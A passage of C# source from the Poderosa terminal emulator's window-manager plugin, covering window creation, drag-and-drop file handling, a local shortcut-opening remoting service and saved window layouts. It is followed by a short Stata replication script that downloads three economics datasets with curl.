        private ViewFactoryManager _viewFactoryManager;

        private object _draggingObject;
        private SelectionService _selectionService;

        private bool _executingAllWindowClose;

        private Task _chainedTask = Task.Delay(0);   // chained by ContinueWith()
        private readonly object _chainedTaskSync = new object();

        private static WindowManagerPlugin _instance;

        public static WindowManagerPlugin Instance {
            get {
                return _instance;
            }
        }

        public override void InitializePlugin(IPoderosaWorld poderosa) {
            base.InitializePlugin(poderosa);
            _instance = this;

            //Coreアセンブリ内のプラグインを代表してここでAdapterFactoryをセット
            new CoreServices(poderosa);

            TabBar.Init();

            IPluginManager pm = poderosa.PluginManager;
            pm.FindExtensionPoint("org.poderosa.root").RegisterExtension(this);
            pm.CreateExtensionPoint(WindowManagerConstants.MAINWINDOWCONTENT_ID, typeof(IViewManagerFactory), this);
            pm.CreateExtensionPoint(WindowManagerConstants.VIEW_FACTORY_ID, typeof(IViewFactory), this);
            pm.CreateExtensionPoint(WindowManagerConstants.VIEWFORMATEVENTHANDLER_ID, typeof(IViewFormatEventHandler), this);
            pm.CreateExtensionPoint(WindowManagerConstants.TOOLBARCOMPONENT_ID, typeof(IToolBarComponent), this);
            pm.CreateExtensionPoint(WindowManagerConstants.MAINWINDOWEVENTHANDLER_ID, typeof(IMainWindowEventHandler), this);
            pm.CreateExtensionPoint(WindowManagerConstants.FILEDROPHANDLER_ID, typeof(IFileDropHandler), this);
            AboutBoxUtil.DefineExtensionPoint(pm);

            _preferences = new WindowPreference();
            pm.FindExtensionPoint(PreferencePlugin.EXTENSIONPOINT_NAME)
                .RegisterExtension(_preferences);
            pm.FindExtensionPoint(WindowManagerConstants.MAINWINDOWCONTENT_ID)
                .RegisterExtension(new DefaultViewManagerFactory());

            _windows = new List<MainWindow>();
            _popupWindows = new List<PopupViewContainer>();

            _menu = new MainWindowMenu();
            _appContext = new PoderosaAppContext();
            _selectionService = new SelectionService(this);
            _viewFactoryManager = new ViewFactoryManager();

            CommandManagerPlugin.Instance.AddKeyBindChangeListener(this);
            poderosa.Culture.AddChangeListener(this);

            PoderosaRemotingServiceHost.Start(new PoderosaRemotingService(this));
        }

        public void RunExtension() {
            try {
                _poderosaWorld.Culture.SetCulture(CoreServicePreferenceAdapter.LangToCulture(_preferences.OriginalPreference.Language));
                MainWindowArgument[] args = MainWindowArgument.Parse(_preferences);
                foreach (MainWindowArgument arg in args)
                    _windows.Add(CreateMainWindow(arg));

                if (GetStartMode() == StartMode.StandAlone) {
                    Application.Run(_appContext);
                    IPoderosaApplication app = (IPoderosaApplication)_poderosaWorld.GetAdapter(typeof(IPoderosaApplication));
                    app.Shutdown();
                }
            }
            catch (Exception ex) {
                RuntimeUtil.ReportException(ex);
            }
        }

        private MainWindow CreateMainWindow(MainWindowArgument arg) {
            MainWindow w = new MainWindow(arg, _menu);
            w.Text = "Poderosa";
            w.FormClosed += new FormClosedEventHandler(WindowClosedHandler);
            w.Activated += delegate(object sender, EventArgs args) {
                _activeWindow = (MainWindow)sender; //最後にアクティブになったものを指定する
            };
            w.Show();
            return w;
        }

        public void CreateNewWindow(MainWindowArgument arg) {
            _windows.Add(CreateMainWindow(arg));
        }

        //アプリ終了時
        public CommandResult CloseAllWindows() {
            try {
                _executingAllWindowClose = true;
                _preferences.WindowArray.Clear();
                //コピーのコレクションに対して実行しないといかん
                List<MainWindow> targets = new List<MainWindow>(_windows);
                foreach (MainWindow window in targets) {
                    CommandResult r = window.CancellableClose();
                    if (r != CommandResult.Succeeded)
                        return r; //キャンセルされた場合はそこで中止
                    _preferences.FormatWindowPreference(window);
                }

                return CommandResult.Succeeded;
            }
            finally {
                _executingAllWindowClose = false;
            }
        }

        private void WindowClosedHandler(object sender, FormClosedEventArgs arg) {
            MainWindow w = (MainWindow)sender;
            if (!_executingAllWindowClose) { //最後のウィンドウが普通に閉じられた場合
                _preferences.WindowArray.Clear();
                _preferences.FormatWindowPreference(w);
            }
            _windows.Remove(w);
            NotifyMainWindowUnloaded(w);
            if (_windows.Count == 0 && GetStartMode() == StartMode.StandAlone) {
                CloseAllPopupWindows();
                _appContext.ExitThread();
            }
        }

        public override void TerminatePlugin() {
            base.TerminatePlugin();

            PoderosaRemotingServiceHost.Shutdown();

            if (_windows.Count > 0) {
                CloseAllPopupWindows();
                MainWindow[] t = _windows.ToArray(); //クローズイベント内で_windowsの要素が変化するのでローカルコピーが必要
                foreach (MainWindow w in t)
                    w.Close();
            }
        }

        public void InitializeExtension() {
        }

        #region IWindowManager
        public IPoderosaMainWindow[] MainWindows {
            get {
                return _windows.ToArray();
            }
        }
        public IPoderosaMainWindow ActiveWindow {
            get {
                return _activeWindow;
            }
        }
        public ISelectionService SelectionService {
            get {
                return _selectionService;
            }
        }
        public void ReloadMenu() {
            foreach (MainWindow w in _windows)
                w.ReloadMenu(_menu, true);
        }
        /*
        public void ReloadMenu(string extension_point_name) {
            MainMenuItem item = _menu.FindMainMenuItem(extension_point_name);
            if(item==null) throw new ArgumentException("extension point not found");
            foreach(MainWindow w in _windows) w.ReloadMenu(_menu, item);
        }
         */
        public void ReloadPreference(ICoreServicePreference pref) {
            foreach (MainWindow w in _windows)
                w.ReloadPreference(pref);
        }
        public void ReloadPreference() {
            //デフォルトを使う
            ReloadPreference(_preferences.OriginalPreference);
        }

        //Popup作成
        public IPoderosaPopupWindow CreatePopupView(PopupViewCreationParam viewcreation) {
            PopupViewContainer vc = new PopupViewContainer(viewcreation);
            if (viewcreation.OwnedByCommandTargetWindow)
                vc.Owner = this.ActiveWindow.AsForm();
            vc.ShowInTaskbar = viewcreation.ShowInTaskBar;
            _popupWindows.Add(vc);
            vc.FormClosed += delegate(object sender, FormClosedEventArgs args) {
                _popupWindows.Remove((PopupViewContainer)sender);
            };

            return vc;
        }

        #endregion

        #region IKeyBindChangeListener
        public void OnKeyBindChanged(IKeyBinds newvalues) {
            foreach (MainWindow w in _windows)
                w.ReloadMenu(_menu, false);
        }
        #endregion

        #region ICultureChangeListener
        public void OnCultureChanged(CultureInfo newculture) {
            //メニューのリロード含め全部やる
            CoreUtil.Strings.OnCultureChanged(newculture); //先にリソース更新
            ReloadMenu();
        }
        #endregion

        public ITimerSite CreateTimer(int interval, TimerDelegate callback) {
            return new TimerSite(interval, callback);
        }
        public MainWindowMenu MainMenu {
            get {
                return _menu;
            }
        }
        public WindowPreference WindowPreference {
            get {
                return _preferences;
            }
        }
        public ViewFactoryManager ViewFactoryManager {
            get {
                return _viewFactoryManager;
            }
        }
        #region IWinFormsService
        public object GetDraggingObject(IDataObject data, Type required_type) {
            //TODO IDataObject使わなくていいの？
            if (_draggingObject == null)
                return null;
            else {
                //TODO これちょっといい加減だが
                Debug.Assert(required_type == typeof(IPoderosaDocument));
                return ((TabBarManager.InternalTabKey)_draggingObject).PoderosaDocument;
            }
        }
        public void BypassDragEnter(Control target, DragEventArgs args) {
            ICommandTarget ct = CommandTargetUtil.AsCommandTarget(target as IAdaptable);
            if (ct == null)
                return;

            args.Effect = DragDropEffects.None;
            if (args.Data.GetDataPresent("FileDrop")) {
                string[] filenames = (string[])args.Data.GetData("FileDrop", true);
                IFileDropHandler[] hs = (IFileDropHandler[])_poderosaWorld.PluginManager.FindExtensionPoint(WindowManagerConstants.FILEDROPHANDLER_ID).GetExtensions();
                foreach (IFileDropHandler h in hs) {
                    if (h.CanAccept(ct, filenames)) {
                        args.Effect = DragDropEffects.Link;
                        return;
                    }
                }
            }
        }
        public void BypassDragDrop(Control target, DragEventArgs args) {
            ICommandTarget ct = CommandTargetUtil.AsCommandTarget(target as IAdaptable);
            if (ct == null)
                return;

            if (args.Data.GetDataPresent("FileDrop")) {
                string[] filenames = (string[])args.Data.GetData("FileDrop", true);
                IFileDropHandler[] hs = (IFileDropHandler[])_poderosaWorld.PluginManager.FindExtensionPoint(WindowManagerConstants.FILEDROPHANDLER_ID).GetExtensions();
                foreach (IFileDropHandler h in hs) {
                    if (h.CanAccept(ct, filenames)) {
                        h.DoDropAction(ct, filenames);
                        return;
                    }
                }
            }
        }
        #endregion

        public void SetDraggingTabBar(TabKey value) {
            _draggingObject = value;
        }

        private StartMode GetStartMode() {
#if UNITTEST
            return StartMode.Slave;
#else
            //NOTE Preferenceから取得するなどすべきか
            return StartMode.StandAlone;
#endif
        }

        private void CloseAllPopupWindows() {
            PopupViewContainer[] ws = _popupWindows.ToArray();
            foreach (PopupViewContainer w in ws)
                w.Close();
        }

        //ウィンドウ開閉イベント通知
        public void NotifyMainWindowLoaded(MainWindow w) {
            IMainWindowEventHandler[] hs = (IMainWindowEventHandler[])_poderosaWorld.PluginManager.FindExtensionPoint(WindowManagerConstants.MAINWINDOWEVENTHANDLER_ID).GetExtensions();
            foreach (IMainWindowEventHandler h in hs) {
                if (_windows.Count == 0)
                    h.OnFirstMainWindowLoaded(w);
                else
                    h.OnMainWindowLoaded(w);
            }
        }
        public void NotifyMainWindowUnloaded(MainWindow w) {
            IMainWindowEventHandler[] hs = (IMainWindowEventHandler[])_poderosaWorld.PluginManager.FindExtensionPoint(WindowManagerConstants.MAINWINDOWEVENTHANDLER_ID).GetExtensions();
            foreach (IMainWindowEventHandler h in hs) {
                if (_windows.Count == 0)
                    h.OnLastMainWindowUnloaded(w);
                else
                    h.OnMainWindowUnloaded(w);
            }
        }

        /// <summary>
        /// Opens specified shortcut file.
        /// </summary>
        /// <param name="path">path of a shortcut file</param>
        /// <returns></returns>
        private bool OpenShortcutFile(string path) {
            if (_windows.Count == 0) {
                return false;
            }

            // find available IFileDropHandler
            string[] files = new string[] { path };
            var target = _windows[0];

            IFileDropHandler[] hs = (IFileDropHandler[])_poderosaWorld.PluginManager.FindExtensionPoint(WindowManagerConstants.FILEDROPHANDLER_ID).GetExtensions();
            IFileDropHandler handler = null;
            foreach (IFileDropHandler h in hs) {
                if (h.CanAccept(target, files)) {
                    handler = h;
                    break;
                }
            }

            if (handler == null) {
                return false;
            }

            // call DoDropAction later
            lock (_chainedTaskSync) {
                _chainedTask = _chainedTask.ContinueWith(task => {
                    target.Invoke((Action)(() => handler.DoDropAction(target, files)));
                });
            }
            return true;
        }

        /// <summary>
        /// An implementation of the <see cref="IPoderosaRemotingService"/> interface.
        /// </summary>
        [ServiceBehavior(InstanceContextMode = InstanceContextMode.Single)]
        private class PoderosaRemotingService : IPoderosaRemotingService {

            private readonly WindowManagerPlugin _windowManagerPlugin;

            /// <summary>
            /// Constructor
            /// </summary>
            /// <param name="windowManagerPlugin"></param>
            public PoderosaRemotingService(WindowManagerPlugin windowManagerPlugin) {
                _windowManagerPlugin = windowManagerPlugin;
            }

            /// <summary>
            /// Open shortcut file.
            /// </summary>
            /// <param name="path">path of the shortcut file</param>
            /// <returns>true if opened. otherwise false.</returns>
            public bool OpenShortcutFile(string path) {
                return _windowManagerPlugin.OpenShortcutFile(path);
            }
        }
    }

    internal class TimerSite : ITimerSite {
        private TimerDelegate _callback;
        private Timer _timer;

        public TimerSite(int interval, TimerDelegate callback) {
            _callback = callback;
            _timer = new Timer();
            _timer.Interval = interval;
            _timer.Tick += delegate(object sender, EventArgs ars) {
                try {
                    _callback();
                }
                catch (Exception ex) {
                    RuntimeUtil.ReportException(ex);
                }
            };
            _timer.Enabled = true;
        }

        public void Close() {
            _timer.Stop();
            _timer.Dispose();
        }
    }

    internal class MainWindowArgument {
        private Rectangle _location;
        private FormWindowState _windowState;
        private string _splitInfo;
        private string _toolBarInfo;
        private int _tabRowCount;

        public MainWindowArgument(Rectangle location, FormWindowState state, string split, string toolbar, int tabrowcount) {
            _location = location;
            _windowState = state;
            _splitInfo = split;
            _toolBarInfo = toolbar;
            _tabRowCount = tabrowcount;
        }
        public string ToolBarInfo {
            get {
                return _toolBarInfo;
            }
        }
        public int TabRowCount {
            get {
                return _tabRowCount;
            }
        }

        //フォームへの適用は、OnLoadの前と後で分ける
        public void ApplyToUnloadedWindow(MainWindow f) {
        }

        public void ApplyToLoadedWindow(MainWindow f) {
            const int MARGIN = 3;
            Rectangle titlebarRect =
                new Rectangle(_location.X + MARGIN, _location.Y + MARGIN,
                                Math.Max(_location.Width - MARGIN * 2, 1),
                                Math.Max(SystemInformation.CaptionHeight - MARGIN * 2, 1));
            bool visible = false;
            foreach (Screen s in Screen.AllScreens) {
                if (s.WorkingArea.IntersectsWith(titlebarRect))
                    visible = true;
            }

            if (!visible) {
                Screen baseScreen = null;
                foreach (Screen s in Screen.AllScreens) {
                    if (s.Bounds.IntersectsWith(_location)) {
                        baseScreen = s;
                        break;
                    }
                }
                if (baseScreen == null)
                    baseScreen = Screen.PrimaryScreen;

                Rectangle sb = baseScreen.WorkingArea;
                if (_location.Width > sb.Width)
                    _location.Width = sb.Width;
                if (_location.Height > sb.Height)
                    _location.Height = sb.Height;
                _location.X = sb.X + (sb.Width - _location.Width) / 2;
                _location.Y = sb.Y + (sb.Height - _location.Height) / 2;
            }

            //DesktopBoundsの設定はOnLoadの中じゃないといかんらしい
            f.DesktopBounds = _location;
            f.WindowState = _windowState;

            //頑張ればOnLoad以前にSplitInfoを適用できるかも
            if (_splitInfo.Length > 0) {
                ISplittableViewManager vm = (ISplittableViewManager)f.ViewManager.GetAdapter(typeof(ISplittableViewManager));
                if (vm != null)
                    vm.ApplySplitInfo(_splitInfo);
            }

            //ToolBarのコンポーネント位置調整
            f.ToolBarInternal.RestoreLayout();
        }

        //位置情報の保存と復元
        //この正規表現で示される値で。例 (Max,0,0,1024,768) 位置に負の値を許すことに注意。
        public static MainWindowArgument[] Parse(IWindowPreference pref) {
            int count = pref.WindowCount;

            //マッチしないときはデフォルト
            if (count == 0) {
                //初期状態で最小化は許さず
                MainWindowArgument arg = new MainWindowArgument(GetInitialLocation(), FormWindowState.Normal, "", "", 1);
                return new MainWindowArgument[] { arg };
            }
            else {
                //正規表現内のコメント: ソースを表示するフォント次第ではおかしいかも
                //                      (<FormWindowState>, left,      ,     top,         ,    width       ,     height   )
                Regex re = new Regex("\\((Max,|Min,)?\\s*(-?[\\d]+)\\s*,\\s*(-?[\\d]+)\\s*,\\s*([\\d]+)\\s*,\\s*([\\d]+)\\)");

                MainWindowArgument[] result = new MainWindowArgument[count];
                for (int i = 0; i < count; i++) {
                    string positions = pref.WindowPositionAt(i);

                    Match m = re.Match(positions);
                    GroupCollection gc = m.Groups;
                    Debug.Assert(gc.Count == 6); //自身と子要素５つ
                    //なお、最小化したまま終了しても次回起動時はノーマルサイズで。
                    result[i] = new MainWindowArgument(
                      ParseRectangle(gc[2].Value, gc[3].Value, gc[4].Value, gc[5].Value),
                      gc[1].Value == "Max," ? FormWindowState.Maximized : FormWindowState.Normal, //カンマつきに注意
                      pref.WindowSplitFormatAt(i), pref.ToolBarFormatAt(i), pref.TabRowCountAt(i));
                }
                return result;
            }
        }

        private static Rectangle ParseRectangle(string left, string top, string width, string height) {
            try {
                Rectangle r = new Rectangle(Int32.Parse(left), Int32.Parse(top), Int32.Parse(width), Int32.Parse(height));
                return r;
            }
            catch (FormatException) {
                return GetInitialLocation();
            }
        }

        private static Rectangle GetInitialLocation() {
            //プライマリスクリーンの半分のサイズを中央に
            Rectangle r = Screen.PrimaryScreen.Bounds;
            return new Rectangle(r.X + r.Width / 4, r.Y + r.Height / 4, r.Width / 2, r.Height / 2);
        }

    }

    internal class PoderosaAppContext : ApplicationContext {
        public PoderosaAppContext() {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Application.VisualStyleState = System.Windows.Forms.VisualStyles.VisualStyleState.ClientAndNonClientAreasEnabled;
        }

    }

    internal enum StartMode {
        StandAlone,
        Slave
    }
}

namespace Poderosa {
    //このアセンブリのStringResourceへのアクセサ WindowManagerに代表させるのはいかんカンジ
    internal static class CoreUtil {
        private static StringResource _strings;
        public static StringResource Strings {
            get {
                if (_strings == null)
                    _strings = new StringResource("Poderosa.Core.strings", typeof(CoreUtil).Assembly, true);
                return _strings;
            }
        }
    }
}

{'repo_name': 'poderosaproject/poderosa', 'stars': '185', 'repo_language': 'C#', 'file_name': 'AssemblyInfo.cs', 'mime_type': 'text/plain', 'hash': -1088389262276285722, 'source_dataset': 'data'}


clear all
set more off
eststo clear
capture version 13
/* Required programs      */
/* - estout: output table */

/* Stata code for Table 3.3.2*/

/* Download data */
shell curl -o nswre74.dta  http://economics.mit.edu/files/3828
shell curl -o cps1re74.dta http://economics.mit.edu/files/3824
shell curl -o cps3re74.dta http://economics.mit.edu/files/3825

/* End of script */

{'repo_name': 'vikjam/mostly-harmless-replication', 'stars': '278', 'repo_language': 'Stata', 'file_name': 'Figure 5-2-4.jl', 'mime_type': 'text/plain', 'hash': -299931341419375700, 'source_dataset': 'data'}